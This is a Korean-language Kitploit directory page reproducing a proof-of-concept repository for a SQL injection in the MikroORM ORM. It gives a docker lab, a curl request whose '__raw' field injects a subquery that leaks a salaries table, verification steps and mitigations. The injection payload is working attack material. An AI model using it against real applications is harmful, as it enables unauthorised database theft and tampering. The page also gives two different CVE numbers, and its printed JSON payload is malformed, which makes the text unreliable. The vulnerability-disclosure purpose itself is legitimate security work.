Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/eqstlab/cve-2026-34220
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubeqstlab/cve-2026-34220

CVE-2026-34220

SQL Injection vulnerability in MikroORM

저장소 보기
111일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-43220 MikroORM SQL Injection

★ CVE-2026-43220 MikroORM SQL Injection PoC ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


Overview

CVE-2026-43220 is a SQL Injection vulnerability in MikroORM, a widely used TypeScript/Node.js ORM framework.
When a user-supplied value containing a __raw property is passed to a Custom Type column without validation, MikroORM's isRaw() check identifies it as a trusted internal Raw SQL expression and inserts the attacker-controlled sql value directly into the generated query without type conversion or sanitization, causing unintended execution of arbitrary SQL.


Affected Versions

도구 다운로드
CategoryVersion
VulnerableMikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5
PatchedMikroORM 6.4.4 & 7.0.6

Impact

  • Exfiltration of sensitive data from the database without authorization
  • Corruption or unintended modification of existing database records

Environment

root@kitploit:~
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

PoC

After starting the vulnerable environment, follow the steps below to reproduce the attack.

Step 1. Send a request with a malicious payload containing __raw

Send a JSON body that includes a __raw property targeting a Custom Type column.

root@kitploit:~
curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

Step 2. Check the HTTP response

Verify that the API returns a successful response without any error, indicating that MikroORM accepted the malicious payload as a valid value.

Step 3. Confirm sensitive data is exfiltrated into post content

Verify that the content field of the created post contains the query result from the salaries table (e.g., Alice: 5000 / Bob: 7000 / ...), confirming that data from an unrelated table has been silently embedded into the response without any error or access control violation.


Mitigation

  • Upgrade to MikroORM 6.4.4 or later, which introduces origin verification in isRaw() to reject externally supplied __raw properties
  • Apply whitelist-based input validation to reject unexpected properties such as __raw before passing values to ORM layer

Analysis

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-orm-injection-explained
  • EN: https://www.skshieldus.com/en/report?tab=eqst